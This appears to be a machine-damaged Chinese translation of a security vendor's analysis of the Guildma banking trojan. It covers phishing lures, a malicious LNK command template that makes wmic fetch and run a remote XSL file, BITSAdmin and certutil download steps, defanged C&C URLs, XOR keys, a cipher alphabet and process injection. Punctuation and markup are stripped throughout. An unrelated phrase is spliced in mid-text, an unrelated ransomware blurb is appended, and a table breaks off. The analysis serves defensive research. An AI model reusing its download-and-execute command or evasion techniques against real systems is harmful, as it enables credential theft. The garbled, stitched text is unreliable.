企业文化

深入分析 Guildma 恶意软件

几个月以来,我们一直在追踪名为 Guildma 的恶意软件。Guildma 是一个强大的组合,包含RAT远程访问工具、间谍软件、密码盗窃工具和银行木马,主要通过钓鱼电子邮件活动中的恶意附件分发。

负责 Guildma 的网络罪犯主要专注于针对巴西用户和服务,但自2019年5月以来,他们已扩大了攻击对象,目前全球已有超过130家银行和75个其他网络服务成为其目标。

我们估计 Guildma 的最初版本是在2015年创建的,这是根据我们的分析和先前对 Guildma 的研究得出的迹象。以往的恶意软件研究者对 Guildma 进行了一定的分析,但仅限于恶意软件的初始阶段。我们的分析提供了有关 Guildma 所有阶段、模块功能、CampC 伺服器、命令和一长串目标服务及应用程序的详细信息,同时也描述了其特征的演变。

恶意软件的创作者在 Guildma 的漫长存在期间,使用了大量的域名、各种感染和窃取技术以及多种编程语言Delphi JS VBS 等,但另一方面,他们也使用了相同或非常相似的代码模式,如加密算法和种子、URL 路径格式、变量或文件名。通过这些模式,我们能够高精度地追踪整个攻击活动,即使一些恶意软件或模块已经进行了变更。

活动概述

该活动通过钓鱼电子邮件进行传播,这些电子邮件假装是发票、税务报告、邀请函等类似消息,并包含一个 ZIP 档案附件,其中有一个恶意的 LNK 文件。当用户打开这个恶意的 LNK 文件时,它会滥用 Windows 管理工具命令行工具,并静默下载一个恶意的 XSL 文件。这个 XSL 文件下载所有 Guildma 的模块,并执行第一阶段的加载器,这个加载器会加载其余的模块。然后,这个恶意软件会保持活跃状态,等待来自 CampC 伺服器的命令和/或特定用户互动,例如打开其中一个目标银行的网页。

最初,该活动针对巴西用户和服务,通过针对性的钓鱼电子邮件进行传播。然而,我们已经保护超过26000名 Avast 用户免受155000次 Guildma 感染尝试,在全球范围内。

2019年1月至7月,保护的 Avast 用户数据。

超过98的目标用户位于巴西。

针对巴西用户的一封钓鱼电子邮件的截图。

附件文件名示例附翻译:

原始名称 翻译 / 信息anexo pedidohtmzip attachment requesthtmzipcurriculohtmzip CVhtmzipcurriculumhtmzip

bolthersdf34201masterzip

depositoidentificadohtmzip depositidentifiedhtmzipdados unidas rent a carhtmzip

notafiscal48458285zip invoice48458285zipdecisaojudicialhtmzip judicialdecisionhtmzipseguradoratokiohtmzip insurancetokyohtmzipchequehtmzip checkhtmzip

零阶段:被攻击的网站与 PHP shell 邮件发送工具

发送 Guildma 的钓鱼电子邮件主要通过可疑的租用或购买网站发送,或者使用被骇的网站,通过向网站代码中安装或复制恶意的 PHP 代码,进行批量邮件发送。恶意软件的创作者通常使用基于简单邮件功能的自定义 PHP shell,具有特定标头。

这个可疑的 XMailer 值也在其他垃圾邮件 活动、恶意的批量发邮件工具 和 webshell 脚本中被广泛使用。虽然可选的 X 标头相当可疑,但内容类型和编码都是标准的 ISO88591拉丁1编码和 Base64 对于文本和附件来说都是常见的。

附加的 LNK 文件

附加在钓鱼电子邮件中的压缩档案包含一个恶意的 Shell LinkLNK文件,正如前面所述,这个文件用作下一步的下载器。

这个 LNK 文件会使用命令提示符cmdexe打开一个最小化的 Windows 管理工具命令行工具wmicexe,以下载和执行下一步的 XSL 文件,这个文件具有恶意有效载荷。MITRE T1220 Squiblytwo 技术

LNK 目标格式:

ComSpec /c start /MIN SystemRootsystem32wbemwmic os get ltrandom stringsgt /formatlturltoxslfilegt ampamp exit

LNK 的注解字段填写了一个完全随机的字符串,随机长度,Run 字段始终设置为 Minimized。

其他可疑字段有:CreationTime、AccessTime 和 WriteTime。如果填写,它们始终设置为 2010年11月21日 (032406) [UTC]。

自2018年9月以来,我们发现了超过 4800 份独特的恶意 LNK 样本,包含280个硬编码的域名。自2019年4月以来,样本数量略有增加,从那时起,每日新样本数量约为 50。

恶意 LNK 样本统计数据

LNK 文件名示例:

原始名称 翻译 / 信息nfe00127532011181lnk NFe 是巴西使用的电子发票文件acordosempararhtmllnk agreementhtmllnkcurriculumcompleto00273569270lnk fullCV00273569270lnknotafiscaleletronica0028170201827lnk NFe 是巴西使用的电子发票文件abrirdocumento63082628700lnk opendocument63082628700lnkarquivogeradoem03012019910lnk generatedarchive03012019910lnkboletobradesco2786pdflnk Boleto 是在巴西的一种支付方式

我们还发现一个 XSL 文件版本,其生成并执行与 LNK 文件相同的命令。

在2019年4月底,恶意软件作者创建了一个新版本的 LNK 文件,其目标命令和下载 URL 进行了混淆,偶尔指向 TOR 网络,这可能是为了避免反病毒检测。

XSL 文件

SHA256 1a89b4c8079d00b7f1575462a2cc7e5f9ac6d488abc5b167001ab676b62930b8

包含的 JavaScript 有效载荷的主要目的是下载所有 Guildma 的模块,并使用默认的 Windows 工具和应用程序执行第一阶段 DLL 模块。

这段恶意的 JavaScript 代码略微混淆,使用了 fromCharCode 函数或公共的基于网页的混淆工具。

去混淆后的下载函数利用 BITSAdmin 工具来下载有效载荷。以下是截至 Guildma 版本 138 使用的相应代码:

恶意软件作者在 Guildma 版本 139 中更新了 XSL 文件,并添加了另一层 Base64 编码,在2019年4月底通过 certutil 应用程序解码。

版本 139 中增强的下载功能:

他们有时还使用简单的混淆方法来处理 138 版本的 JavaScript 代码,可能是使用免费的基于网站的混淆器生成的

可疑的变量和函数名称:

恶意 JavaScript 代码中包含许多独特且不寻常的变量和函数名称,包括 Lucifer 和 Astaroth,而且作者长期以来始终使用相同的名称,并未更改。

变量名 函数名xLuciferxs xCaverax xVRXastaroth pingadorisVarXEDRaz raraiz sdjkhiwewsw kdcafexMaisShell smaeVar function radador(min max)function Bxaki(url file)function vgos(min)

下载 URL:

所有的 URL 部分是硬编码的,部分是 JavaScript 生成的,域名几乎每天都在变。自版本 139 起,下载文件的扩展名改为 ziplog。

格式:

http//wd{7}w(websitepwspacefunsitexyzclubcom)250d{2}/d{2}/w(abcdwwndxefggxxaxb98hh)(jpggifdll)zip(log)d{9}

例如:

hxxp//q239hEFLK1379515cavaleira1website25013/09/rakpat0rpcackbjpgzip505797016

我们发现版本139的 Guildma 在 Github 上由名为 winsvrx 的用户托管。该帐户于2019年3月29日创建,并一直在积极维护,直到2019年4月30日,这个帐户被Github安全团队快速移除,因为我们发现并报告了该帐户。

Github URL:

hxxps//githubcom/winsvrx

在GitHub删除后,创作者转向 Google Storage,并继续积极开发和恶意软件的扩散。我们还向谷歌报告了此事,该存储桶/服务随后被移除。

Google Storage URL:

hxxps//storagegoogleapiscom/ultramaker/

作者在140版本中更新了 botnet,并于2019年6月切换到新的 Google Storage URL:

hxxps//storagegoogleapiscom/bradok/

Botnet 版本:

第一个有趣的变量 smaeVar 可能表示一个活动版本、发布月份或仅用于不同 URL 集合的目录名称。恶意软件的作者使用了03、04、06、07、08、09 目录来托管在 GitHub 和 Google Storage 上的活动。

第二个变量 skvidro 指示恶意软件的版本,截至2019年6月底,它是140版本。

恶意软件的作者在每个新版本中也会更改下载目录,这些信息存储在变量 sVarRaz 中。

恶意域名: 参见附录 C1。

模块执行:

第一个模块64在所有其他模块成功下载后,使用 regsrv32 工具执行。

恶意软件的作者 滥用 我们的二进制文件 aswrundllexe 作为此目的,但我们的开发者迅速修复了此漏洞,这种技术现在已经不再可行。

下载的模块:

Guildma 的二进制文件被划分为多个阶段和模块。有些模块仅仅进行加密,并且自版本 139 起,所有模块也都是经过 Base64 编码的。

下载目录格式:

cuserspubliclibrariesltcampaigndownloaddirgt

当前的活动下载目录为 temporary,先前是 awsvideos 和 raptor。

模块文件名格式:

campaignfilename(6498xaxbdwwndxefg)(gifjpg)

文件名示例:

rakpat0rpcack64 rakpat0rpcack98 rakpat0rpcackxa rakpat0rpcackxb rakpat0rpcackdwwngif rakpat0rpcackdxgif rakpat0rpcackggif rakpat0rpcackgxgif rakpat0rpcackajpg rakpat0rpcackbjpg rakpat0rpcackcjpg rakpat0rpcackejpg rakpat0rpcackfjpg

带有 GIF 和 JPG 扩展名的模块是使用基于种子的弱 ShiftXOR 算法进行“加密”。

下载的模块使用了几个不同的种子值进行加密,0x457、0x33f45263到版本 138 为止和 0xa2c99从版本 139 开始进行加密。

来自种子的生成 XOR 键:

0x457572B158A45221108040201000000000000000000000000000000000000000000

0x33F452636331984C269349A45229148A45A2D1E8F4FAFD7E3F9FCF6733190C0603010000

0xA2C99994C2693C964B2592C168B45A25128140A050201000000000000000000000000

第一个种子生成了非常弱的钥匙,充满了零字节,这对于 XOR 操作来说不是一个适合的值;。第二个种子 0x33f45263 自 2015年底 以来保持不变。

模块流程图:

恶意软件详情:

所有核心的 Guildma 恶意软件模块都是使用 Borland Delphi 编写的,根据代码模式,它们可能基于知名的开源 RAT,如 Delphi Remote Access PC、AmigoRAT 或 PureRAT 等。

字符串的加密/混淆算法也在其他 Delphi 恶意软件家族中使用,因此恶意软件的作者可能也复制或购买了这一部分。

字符串加密算法的 Python 表示:

这个恶意软件并不使用任何形式的“主”配置文件或数据结构,许多重要的变量URL、路径等都是计算、加密和硬编码在编译的二进制文件中的各个地方。由于变量,如模块文件名,与之前的阶段相对应,作者必须在每次更改时重新编译所有二进制文件和脚本,例如更改 CampC 域。我们推测他们使用了自动化的源代码预处理脚本。

模块 64加载器

SHA256 8d516dacdc00d76a44f987b654ffe39145eb02c5013b3dc504a3bf65d7e503cb

这是首个被执行的模块,作为第二阶段、模块 98 的加载器,并为后续使用准备两个下载的文件XA 和 XB 文件的数据。

模块 98 的路径是硬编码的,并随每次活动而改变。导出的名称“mangusbold”在三个版本中保持不变版本 137139。

加载 XA 和 XB 模块是使用 16 位内核函数 lopen、lread 和 lclose 实现的。

我们发现版本 139 的模块中存在试图使用假冒的 Avast 证书的行为。

模块 98加载器

SHA256 9a8df74f32dbf64672745b2bb427410e49b1e53441d7b4ca32e8c82ac4d44557

这是第二个模块,也用作下一阶段的加载器。其主要目的是将之前准备好的 XA 和 XB 数据块合并为一个模块,在内存中重建创建的模块并执行它。

模块 XAXB注入器

模块 XA 模块二进制的第一部分SHA256 37e87eac8138491630822e335e4cc74edbd6424b2f92ee3b1bee28423aa63b78

模块 XB 模块二进制的第二部分SHA256 e1b08233100a573c6de711152bc894e0a612f26ddacce8e365514cdd6c968614

合并模块:SHA265 244b06da6f405b35579ce9643c08bc5420b460a254096ab1646a515c94ecc7c6

此模块的主要目的是将 GX 模块注入到一个目标文件中,默认的目标文件是系统应用程序 userinitexe。第二个目标文件是 GAS Tecnologia 的保护工具 Warsaw 的一部分。

恶意软件作者使用了一种简单的通用技术,使用 CreateProcess gt SetContext gt ResumeThread 组合,在另一个进程的上下文中运行恶意代码。

在 userinitexe 进程中注入的模块:

整个过程树:

该模块在一个无限循环中运行,并在每852秒检查注入结果的模块 G 窗口名称。如果未找到窗口,则模块将重新执行注入。

模块 GX注入器

SHA256 edba9b33cb49fca3302387ec019e676a4e022709e54a2945eff25ddf409ef98d

模块 GX 是核心模块 G核心模块的最后一个加载器,在先前阶段的注入过程内存中。

该模块结构基本上与之前的模块相同,因为它也包含无限循环和使用核心模块窗口名称检查注入结果,但恶意软件作者在这里应用了简单的混淆。

无混淆的干净代码:

内存 DLL 的加载、重定位和导入表重建代码基于公众的 BTMemoryModule,由 Martin Offenwagner 创建。

模块 DWWNRAT

SHA256 ca7c94b5012c5285d466a5c27647b26106c8017e93172a4d092322c66f1d0fa9

DWWN 模块使用两层 CampC 伺服器架构。每当需要联络 CampC 伺服器,且未找到二级 CampC 伺服器的地址时,会联络首级 CampC 伺服器见附录 E1,其地址为 ltfirstlevel CampC domaingt//09/dscttxt。

响应可能包含经过简单替代密码加密的二级 CampC 伺服器的域。这种加密是通过 ROT7 操作完成的,使用的字母表即 U 替代为 e,V 替代为 f,9 替代为 d 等如下:

UVZabcdefghijklm23Atuvxyz!@#8FYNOPQR=gtlt014567pqrBCSTnoGHI/[]{}JKLMWXamp()DEs9

路径中的数字“09”似乎在每次版本更新时会增加。请注意,这种 CampC 检索方法也用于数据提取器、发送器和核心模块。反组装显示这是通过自定义库实现的,因为相应的代码仅在硬编码地址列表上有所不同。

下面显示的事件都有一个字符串 Tmsodebriedgw 作为前缀更具体地说,这些对象本身都有前缀。此模块具有三个窗口A、B和C,每个窗口都有自己的 FormCreate 事件ltprefixgtltformgtlteventgt。类似地,定时器/线程都有自己的额外前缀 msodebriedgweltprefixgtltformgtlttimer prefixgtltlabelgtTimer。为了便于阅读,我们省略了这些前缀并使用重新格式化的名称。

所有 Form A 的子定时器,仅在 xkill 自启动以来未运行的情况下提供功能。另一个模式,是即使在后来的情况下仍然存在 每个定时器在事件开始时都会禁用,并在结束时启用,除非另有说明。

模块对象图

猎豹加速器手机版

FormCreate Form A

这是协调所有功能的主界面。最开始,从 PrintWindow API 函数读取4个字节,并准备客户端 UIDltNETBIOS namegtlthexencoded volume infogt。同时,所有的定时器都被禁用。

属于这个表单的窗口会隐藏到随机位置,这个位置在客户监视器的屏幕外该位置超出了监视器的解析度。然后初始化其余两个窗口更具体地说是它们各自的表单。该表单还通过检查 lttime ddmmyyyyddmmyyyygt 的窗口名称来检查是否有前一个实例运行。如果找到这样的窗口,则执行 xkill 操作详情见 A82threadproc 命令 0x276;否则将窗口重命名为 lttime ddmmyyyyddmmyyyygt,其值对应于当前客户的时间。

往后,通过启用 Timer A1记录器来开始记录。还记录到 libraries 目录的路径、客户端的 UID 和其自身窗口的名称。这种记录以带有时间戳的消息形式加入到 TMemo多行文本框中。如果该文本框中超过 3000 行,则会清空。

深入分析 Guildma 恶意软件

FormCreate Form B

然后使用与 Form A 相同的技巧来隐藏窗口,即该窗口被置于客户的监视器屏幕之外。

窗口的位置通过 Form A 以以下格式记录:

PosYlty coordinategtposioXltx coordinategt

FormCreate Form C

同样使用与 Form A 相同的技巧来隐藏窗口,即该窗口被置于客户的监视器屏幕之外。

类似于 Form B,窗口的位置被格式化为字符串 ylty coordinategtxltx coordinategt 透过 Form A 记录。初始位置设置为 (19 777 16 777)。此位置之后改为 (17 660 18 652),并再次以以下格式记录:

yy1 lty coordinategtxx1 ltx coordinategt

请注意,这些位置超出了普通消费级屏幕上显示的坐标范围。

随后,会使用 TWebBrowser 对象创建一个 Guildma 浏览器窗口,以获取微软 Shell Doc Object 和 Control LibrarySHDOCVWDLL 库的浏览器功能。该窗口的名称设置为 msodebridgweNavite。然后将窗口移动到新的位置,并再次以以下格式记录位置:

PosC2222Y lty coordinategtposioC2222X ltx coordinategt

最后,浏览器导航到空白页面 (aboutblank)。

在执行期间将数字“阶段”1 到 6记录,这又通过 Form A 记录。这些“阶段”包括:

浏览器窗口创建、设置宽度、设置高度、窗口重新定位、位置记录、aboutblank。

Timer A1记录器 Form A

功能由核心模块生成的日志文件 Timer 14 控制更多细节见 Timer 14。

如果找到特定的日志文件,则将其编号保存在变量中,并保存 targetflag 以供进一步使用。窗口浏览器窗口、程序管理器/ progman 和浏览器专用窗口的句柄写入标签 msodebriedgweA1[13]。

唯一的例外是 hd3syslog,需要窗口类 buttonclass 才能获得浏览器父窗口。其他则使用标签 msodebriedgweA10 保存需要的句柄,这些句柄保存在日志文件中。

记录的字符串格式为 [VS ltbot versiongt] ltlog textgtgt ltdategt lttimestampgt,并将日志上传到 CampC 伺服器。最后,启用 Timers A2 和 A4,并删除最初使用的日志文件。

日志文件名 日志文件编号 目标标志 浏览器 日志文本hd1sysalog 1 xITIE Internet Explorer lt!ABRIUUUUU!gthd1sysblog 1 xITCHR Chrome lt!ABRIUUUUU!gthd1sysclog 1 xITFF Firefox lt!ABRIUUUUU!gthd2sysalog 2 xSTIE Internet Explorer lt!ABRIUOKOK!gthd2sysblog 2 xSTCHR Chrome lt!ABRIUOKOK!gthd2sysclog 2 xSTFF Firefox lt!ABRIUOKOK!gthd3syslog 3 xITAPP Chrome lt!ABRIUUUUU!gthd4syslog 4 xNEAPP Firefox lt!ABRIUTORETTO!gthd4sysalog 4 xNEIE Internet Explorer lt!ABRIUTORETTO!gthd4sysblog 4 xNECHR Chrome lt!ABRIUTORETTO!gthd4sysclog 4 xNEFF Firefox lt!ABRIUTORETTO!gthd5sysalog 5 xCOOBIE Internet Explorer lt!ABRIUOKOK!gthd5sysblog 5 x

解密:普罗米修斯勒索病毒

Avast 发布了针对 Prometheus 勒索软件 的解密工具。Prometheus 是一种用 C# 编写的勒索软件变种,继承了大量来自旧版勒索软件 Thanos 的代码。跳到如何使用 Prome...